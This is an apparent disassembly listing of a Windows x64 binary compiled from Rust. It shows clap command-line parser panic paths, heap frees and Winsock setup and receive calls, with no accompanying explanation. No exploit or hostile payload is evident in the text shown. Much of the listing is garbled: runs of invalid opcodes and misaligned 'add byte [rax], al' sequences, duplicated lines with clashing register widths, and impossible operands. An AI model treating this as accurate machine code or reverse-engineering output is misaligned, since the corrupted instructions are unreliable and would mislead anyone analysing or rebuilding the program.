mov qword [rsp + 0xf0], 8
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm1, xmmword [rax + 0x78]
inc qword [rax + 0x78]
movdqu xmmword [rsp + 0x108], xmm1
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x140], 4
add byte [rax], al
add al, 0x48
mov dword [rsp + 0x250], ebx
mov qword [rsp + 0x240], 0
movdqu xmmword [rsp + 0x258], xmm0
cmp byte [rsp + 0xa8], 0
add byte [rax], al
je 0x14003517d
mov rax, qword [rsp + 0x48]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x240], xmm0
movdqu xmm0, xmmword [rax + 0x18]
movdqu xmmword [rsp + 0x258], xmm0
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x240]
add al, byte [rax]
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x88
add byte [rax], al
add al, ch
sub dword [rbp - 0x49f00001], ebx
lodsb al, byte [rsi]
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x80], al
std
invalid
je 0x1400352a4
shr r14, 0x2c
and r14d, 1
test r14b, r14b
je 0x140035223
mov r14, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov r13, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x180]
call fcn.140035cc0
test r13, r13
je 0x14003528d
lea rbp, [r14 + 8]
jmp 0x140035207
add rbp, 0x18
dec r13
je 0x14003528d
invalid
cmp qword [rbp], 0
je 0x1400351fa
mov r8, qword [rbp - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400351fa
movdqu xmm0, xmmword [rsp + 0x180]
movdqu xmm1, xmmword [rsp + 0x190]
mov rbx, qword [rsp + 0xa0]
add byte [rax], al
add bl, dh
movq qword [rbx + 0x10], mm1
movdqu xmmword [rbx], xmm0
mov eax, dword [rsp + 0x1a1]
mov ecx, dword [rsp + 0x1a4]
mov dword [rbx + 0x21], eax
mov dword [rbx + 0x24], ecx
and al, 0x48
lea ecx, [rsp + 0xd0]
and al, 0x48
lea ecx, [rsp + 0xd0]
call fcn.140035bb0
mov byte [rbx + 0x20], bpl
test rsi, rsi
je 0x1400354e2
mov rcx, qword [0x140215360]
xor ebx, ebx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400354e4
test r15, r15
je 0x1400352a4
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rbx + 0x130]
mov r15, qword [rbx + 0x40]
mov rbx, qword [rbx + 0x50]
test rbx, rbx
je 0x1400352df
js 0x140035821
movzx eax, byte [0x1402153f8]
mov edx, 1
mov rcx, rbx
call fcn.140013830
mov r14, rax
test rax, rax
jne 0x1400352e5
jmp 0x140034be4
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x1c0], xmm0
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmm1, xmmword [rsp + 0xe0]
movdqu xmm2, xmmword [rsp + 0xf0]
movdqu xmm3, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x1b0], xmm3
movdqa xmmword [rsp + 0x1a0], xmm2
movdqa xmmword [rsp + 0x190], xmm1
movdqa xmmword [rsp + 0x180], xmm0
cmp byte [rsp + 0x140], 4
je 0x1400353cf
mov qword [rsp + 0xa8], r13
mov rax, qword [rsp + 0x120]
mov eax, dword [rsp + 0x120]
mov eax, dword [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov rbp, qword [rsp + 0x128]
mov r13, qword [rsp + 0x130]
test r13, r13
je 0x1400353ae
mov rax, qword [rsp + 0x40]
lea r15, [rax + 8]
jmp 0x140035393
add r15, 0x20
dec r13
je 0x1400353ae
cmp qword [r15], 0
je 0x14003538a
mov r8, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14003538a
test rbp, rbp
mov r13, qword [rsp + 0xa8]
je 0x1400353cf
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x40]
call [0x18cd584c5]
mov eax, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, dword [rax]
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x280], xmm0
movdqa xmm0, xmmword [rsp + 0x180]
movdqa xmm1, xmmword [rsp + 0x190]
movdqa xmm2, xmmword [rsp + 0x1a0]
movdqa xmm3, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x270], xmm3
movdqa xmmword [rsp + 0x260], xmm2
movdqa xmmword [rsp + 0x250], xmm1
movdqa xmmword [rsp + 0x240], xmm0
movzx eax, byte [0x1402153f8]
mov ecx, WSAStartup
mov edx, 8
call fcn.140013830
test rax, rax
je 0x140035919
mov r15, rax
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbx
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmm1, xmmword [rsp + 0x250]
movdqa xmm2, xmmword [rsp + 0x260]
invalid
add al, byte [rax]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
pushfq
and al, 0x70
add al, byte [rax]
add byte [rdi], cl
adc dword [rax + 0x18], eax
movdqu xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x38], xmm2
movdqu xmmword [rax + 0x48], xmm3
movdqa xmm0, xmmword [rsp + 0x280]
movdqu xmmword [rax + 0x58], xmm0
mov qword [rax + 0x68], r13
mov rbx, qword [rsp + 0x60]
invalid
lea rcx, [rbx + 0x48]
call fcn.140037460
mov qword [rbx + 0x48], r15
test rsi, rsi
je 0x1400354c9
mov rcx, qword [0x140215360]
xor ebx, ebx
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400354cb
xor ebx, ebx
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x70]
jl 0x1400354f8
invalid
je 0x1400354f3
mov rdi, qword [rsp + 0x70]
jl 0x1400354f8
jo 0x140035522
mov r15, qword [rsp + 0xc0]
mov edi, dword [rsp + 0xc0]
jmp 0x14003304d
xor ebx, ebx
mov r15, qword [rsp + 0xc0]
test bl, bl
je 0x1400331fc
invalid
jmp 0x140034a7b
dec dword [rax - 0x73]
lea rax, [rsp + 0x188]
movdqu xmm0, xmmword [rax + 0x18]
test byte [rax + rcx*4], ah
add dword [rax], eax
add bl, dh
movq mm0, qword [rax + 0x18]
mov rax, qword [rsp + 0xa0]
movdqu xmmword [rax + 0x18], xmm0
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r13
jmp 0x140034a4e
dec dword [rbp + rcx*4 + 5]
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcmkeymap.rs
call fcn.140160ed0
ud2
invalid
movdqu xmm0, xmmword [rsp + 0xd8]
movdqu xmm1, xmmword [rsp + 0xf0]
mov rax, qword [rsp + 0xa0]
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], r13
movdqu xmmword [rax + 0x18], xmm1
jmp 0x140034a4e
cmp qword [rsi], 0
setne dil
je 0x140034cf3
mov rax, qword [rsi + 8]
mov rcx, qword [rsp + 0x560]
dec rcx
movabs rdx, 0x8000000000000000
cmovno rdx, rcx
xor ecx, ecx
test rdx, rdx
cmovg rcx, rdx
mov rdx, qword [rbx + 0x10]
adc byte [rax + 0x39], cl
ror dword [rax + 0xf], 1
retf 0x8948
mov word [rax + riz*2], fs
add eax, 0x8b480000
sbb byte [rax + 0x29], r9b
ror dword [rax - 1], 0xc1
sbb byte [rax + 0x29], r9b
ror dword [rax - 1], 0xc1
mov qword [rsi + 0x20], rcx
jmp 0x140034cf3
mov qword [rsp + 0x410], r12
mov qword [rsp + 0x418], r15
mov qword [rsp + 0x420], r13
mov dword [rsp + 0x420], ebp
mov rdi, rsi
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
mov rcx, rsi
call fcn.140039010
mov rsi, qword [rdi + 0x10]
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0x240], rsi
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
sbb al, 0
lea rdx, [rsp + 0x240]
lea rdi, [rsp + 0x180]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a950
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x410]
lea r9, [rsp + 0xd0]
mov rcx, qword [rsp + 0xa0]
mov rdx, rsi
call fcn.14003b360
jmp 0x140034a4e
mov qword [rsp + 0x3f8], r12
mov qword [rsp + 0x400], r15
mov qword [rsp + 0x408], r13
mov rdi, rsi
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x60]
call fcn.140038e70
mov rcx, rsi
call fcn.140039010
mov rsi, qword [rdi + 0x10]
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x188], 0
lea r8, [0x140204680]
lea rdi, [rsp + 0xd0]
lea rdx, [rsp + 0x180]
mov rcx, rdi
xor r9d, r9d
call fcn.14001a950
lea r8, [rsp + 0x3f8]
jmp 0x140035031
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_1.9.3_srcmapcore.rs
mov rcx, rax
mov ecx, eax
mov ecx, eax
call fcn.140160ed0
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rax, [0x140204680]
mov qword [rsp + 0xe0], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0xe8], xmm0
add byte [rax - 0x73], cl
adc eax, 0x1a8f45
add byte [rax - 0x73], cl
adc eax, 0x1a8f45
lea rcx, [rsp + 0xd0]
call fcn.140160e20
ud2
lea rax, [0x1401de458]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rax, [0x140204680]
mov qword [rsp + 0xe0], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0xe8], xmm0
lea rdx, [0x1401de660]
lea rcx, [rsp + 0xd0]
call fcn.140160e20
adc al, byte [rax]
adc al, byte [rax]
ud2
lea r8, [0x1401de690]
mov rdx, r13
call fcn.140161190
ud2
lea r8, [0x1401de690]
mov rcx, r13
mov ecx, ebp
mov rdx, qword [rsp + 0x228]
call fcn.140160f40
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x1401de738]
add eax, 0x1a8f57
mov edx, 0x2c
call fcn.140160fb0
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
pop rbp
adc eax, dword [rax]
pop rbp
adc eax, dword [rax]
mov edx, 0x63
call fcn.140161290
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6d8]
mov edx, 0x2b
call fcn.140160fb0
ud2
call fcn.1400138d0
ud2
lea r8, [0x1401de6f0]
mov rcx, rdi
mov rdx, qword [rsp + 0x2c8]
add al, byte [rax]
add al, ch
push rcx
mov ecx, 0xb0f0012
add al, byte [rax]
add al, ch
push rcx
mov ecx, 0xb0f0012
lea r8, [0x1401d1ca0]
mov rdx, r13
call fcn.140160e60
ud2
mov ecx, 1
mov rdx, r14
call fcn.14015d7f0
ud2
invalid
or ecx, dword [rax - 0x73]
or eax, 0x134818
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
lea r8, [0x1401de648]
add eax, 0x1a8dac
mov rcx, rdi
mov rdx, r9
call fcn.140161190
ud2
lea r8, [0x1401de648]
mov rcx, r9
mov rdx, r15
call fcn.140160f40
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x60
call fcn.14015d7f0
ud2
mov ecx, 8
mov rdx, rsi
mov edx, esi
mov edx, esi
bnd call fcn.14015d7f0
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x80
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov rcx, rbp
mov rdx, r15
call fcn.140160e60
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6a8]
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x1401de6c0]
lea eax, [0x1401de6c0]
lea eax, [0x1401de6c0]
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea ecx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparsermatchesmatched_arg.rs
mov edx, 0x63
call fcn.140161290
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x28
call fcn.140160fb0
ud2
lea r8, [0x14016bd58]
mov rdx, r13
call fcn.140160f40
ud2
lea r8, [0x14016bd70]
mov rcx, r9
mov rdx, r13
call fcn.140160e60
ud2
add byte [rax - 0x73], cl
adc eax, 0x135acd
lea rsi, [rsp + 0xd0]
lea r9, [rsp + 0x3a0]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
call fcn.140160e20
ud2
lea rcx, str.Fatal_internal_error._Please_consider_filing_a_bug_report_at_https:__github.com_clap_rs_clap_issues
or eax, 0x13466f
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x63
call fcn.140161290
ud2
mov ecx, 1
mov rdx, r13
call fcn.14015d7f0
ud2
lea rcx, str.assertion_failed:_mid___self.len___rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_srcescape.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov edx, 0x23
call fcn.140160fb0
ud2
lea rax, [rsp + 0x100]
movups xmm0, xmmword [rax - 0x28]
movaps xmmword [rsp + 0x240], xmm0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14016bd88]
lea r8, [rsp + 0x240]
mov edx, 0x2b
call fcn.140161200
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x28
call fcn.140160fb0
ud2
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov rcx, rdi
mov r8, qword [rsp + 0x58]
call fcn.140163220
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.140161400
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_lex_0.2.4_srclib.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rdx, r11
mov r9, r11
call fcn.140161400
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x28
call fcn.140160fb0
ud2
lea rax, [0x14016a498]
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], 1
lea rax, [0x140204680]
mov qword [rsp + 0x250], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x258], xmm0
and al, 0x58
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x134954
and al, 0x58
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x134954
lea rcx, [rsp + 0x240]
call fcn.140160e20
ud2
lea rax, [0x140204730]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_string.rs
sbb al, 0
sbb al, 0
lea r9, [0x140169d80]
lea r8, [rsp + 0x3a0]
mov edx, 0x37
call fcn.140161200
ud2
mov ecx, 8
mov edx, 0x20
call fcn.14015d7f0
ud2
mov r13, qword [rbx]
mov qword [rsp + 0x38], rbx
mov r12, qword [rbx + 0x10]
mov qword [rsp + 0x28], rsi
mov rax, qword [rsi + 0xe0]
test rax, rax
je case.0x14002d090.317
add qword [rsp + 0x38], 0x20
mov rcx, qword [rsp + 0x28]
mov rsi, qword [rcx + 0xd0]
imul rbx, rax, 0x298
add rbx, rsi
jmp fcn.140037910
mov rcx, rax
mov rdx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x28]
mov rdx, r12
mov r8, r15
call fcn.140044130
test rax, rax
je 0x140037bee
mov rsi, rax
mov rcx, qword [0x140215360]
fstp dword [0x18dd5aafe]
mov eax, esp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x38]
cmp rbx, qword [rsp + 0x90]
jne 0x1400378c1
jmp 0x140037a61
lea rcx, [rsp + 0x68]
mov rdx, r13
mov r8, r12
call fcn.14013a770
cmp qword [rsp + 0x68], 0
je 0x140037afd
lea rcx, [rsp + 0x68]
mov rdx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.140044d70
cmp byte [rsp + 0x88], 0x16
jne 0x140037ab8
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x68]
mov dl, reloc.WS2_32.dll_recv
mov r8, rsi
call fcn.1400453c0
jmp 0x140037ad9
and al, 0x40
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x60]
mov qword [rcx + 0x20], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
jmp 0x140037bcc
fdivr st(7)
adc eax, 0x1304f3
mov r15, rax
test rax, rax
jne 0x140037b62
mov ecx, 1
add byte [rax], al
mov rdx, rbx
call fcn.14015d7f0
ud2
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rbx
mov rsi, qword [rsp + 0x28]
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], 0
lea r8, [0x140204680]
lea rbx, [rsp + 0x68]
lea rdx, [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x77], cl
fld dword [rbp + 0x31]
leave
add byte [rax], al
add byte [rax - 0x77], cl
fld dword [rbp + 0x31]
leave
call fcn.14001a950
lea r8, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, qword [rsp + 0x30]
mov rdx, rsi
mov r9, rbx
call fcn.14003c540
lea rcx, [rsp + 0xb0]
call fcn.1400247d0
nop
add rsp, 0x348
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fclap_3.2.25_srcparserparser.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
fistp dword [rbx + 0x12]
add byte [rdi], cl
or ebp, eax
mov ah, 0xbc
std
dec dword [rdi]
or ecx, esp
int3
pop rbx
adc al, byte [rax]
ud2
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
movdqa xmmword [rsp + 0x130], xmm8
movdqa xmmword [rsp + 0x120], xmm7
movq qword [rsp + 0x120], mm7
movq qword [rsp + 0x120], mm7
movdqa xmmword [rsp + 0x110], xmm6
mov ebp, r8d
mov r15, rdx
mov rdi, rcx
mov r14, qword [rsp + 0x1c0]
rol byte [rcx], 0
add byte [rax - 0x75], cl
pushfq
and al, 0xb8
add dword [rax], eax
add dh, dh
cmp dword [rcx + 2], 0
add byte [rax], ah
rol byte [rcx], 0
add byte [rax - 0x75], cl
pushfq
and al, 0xb8
add dword [rax], eax
add dh, dh
cmp dword [rcx + 2], 0
add byte [rax], ah
je 0x140037e59
cmp byte [rsp + 0x1c8], 0
jne 0x140037e59
cmp qword [rbx + 0x30], 0
je 0x140037f3c
cmp qword [rbx + 0x38], 0
jne 0x140037f3c
mov qword [rsp + 0x98], r9
mov byte [rsp + 0xa0], bpl
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0xa8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
add byte [rax - 0x75], cl
stosd dword [rdi], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
stosd dword [rdi], eax
add byte [rdx], al
add byte [rax], al
test rbp, rbp
je 0x140037fc8
add al, byte [rax]
invalid
mov r14, qword [rbx + 0x1f0]
shl rbp, 4
shl ebp, 4
add rbp, r14
lea r12, [rsp + 0x48]
and al, 0x48
and al, 0x48
lea rdi, [rsp + 0xa8]
jmp 0x140037d1f
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx - 0x7d], cl
invalid
add r14, 0x10
cmp r14, rbp
je 0x140037fc8
mov rdx, qword [r14]
mov r8, qword [r14 + 8]
mov rcx, r12
call fcn.14009faa0
mov r13, qword [rsp + 0x48]
mov rax, qword [rsp + 0x58]
test r13, r13
je 0x140037d90
mov rsi, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], 0
mov rcx, r12
mov rdx, r15
mov r8, rbx
mov r9, r13
call fcn.14003b820
test rsi, rsi
je 0x140037d79
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x48]
cmp rcx, 9
je case.default.0x140037de3
jmp 0x140037dc1
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
and al, 0x30
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov byte [rsp + 0x28], 0
mov rcx, r12
mov rdx, r15
mov r8, rbx
call fcn.14003b820
add byte [rax - 0x75], cl
and al, 0x48
cmp rcx, 9
je case.default.0x140037de3
cmp rcx, 7
invalid
ja case.default.0x140037de3
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
and al, 0x58
lea rdx, [0x14020847c]
lea edx, [0x14020847c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r13, r8
test rax, rax
jne 0x140037d00
jmp case.default.0x140037de3
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r13, qword [rsp + 0x80]
mov ebp, dword [rsp + 0x80]
mov ebp, dword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
test rax, rax
je 0x140037e24
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x140037e3b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
mov rbx, qword [rsp + 0x1b8]
lea rdi, [rsp + 0xa8]
test al, 0
add byte [rax], al
jne 0x140037d00
jmp case.default.0x140037de3
test r9, r9
je 0x14003803b
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf8], 8
xorps xmm0, xmm0
ror byte [rdi], 0x11
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x73], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x77], cl
je 0x140037eb1
xor byte [rax - 0x77], cl
and al, 0x20
ror byte [rdi], 0x11
test byte [rax + rax], ah
add dword [rax], eax
add byte [rax - 0x73], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x77], cl
je 0x140037eb1
xor byte [rax - 0x77], cl
and al, 0x20
mov byte [rsp + 0x28], 0
lea rcx, [rsp + 0xa8]
lea ecx, [rsp + 0xa8]
mov rdx, r15
mov r8, rbx
call fcn.14003b820
jne 0x140037ee2
add byte [rax], al
jne 0x140037ee2
add byte [rax], al
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x48]
mov rdx, r15
mov r8d, ebp
mov r9b, 2
call fcn.1400383f0
mov rsi, qword [rsp + 0x48]
cmp rsi, 9
jne 0x14003808e
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
adc byte [rsp + 0x60], cl
mov rax, qword [rsp + 0x70]
movups xmmword [rdi + 8], xmm0
movups xmmword [rdi + 0x18], xmm1
mov qword [rdi + 0x28], rax
mov qword [rdi], 9
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
invalid
ja case.0x14003818f.1
add al, 0
invalid
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x7d], cl
clc
invalid
add al, 0
add byte [rax - 0x73], cl
or eax, 0x1d05ed
lea rcx, [0x140208504]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
pop rsi
add al, 0
add byte [rax - 0x73], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
jmp 0x14003822c
mov qword [rsp + 0xa8], 1
xorps xmm0, xmm0
invalid
invalid
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
jmp 0x14003822c
mov qword [rsp + 0xa8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
and al, 0xb0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
add byte [rax - 0x73], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
add byte [rax - 0x73], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
lea rax, fcn.140022090
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x48]
mov rcx, rbx
call fcn.140018430
test al, al
ror byte [rdi], 0x85
invalid
add al, 0
add byte [rax], al
ror byte [rdi], 0x85
invalid
add byte [rax], al
mov rax, qword [rsp + 0xb8]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x18], eax
movups xmm0, xmmword [rsp + 0xa8]
movups xmmword [rdi + 8], xmm0
mov qword [rdi], 6
mov dword [rdi], 6
mov dword [rdi], 6
add byte [rax], al
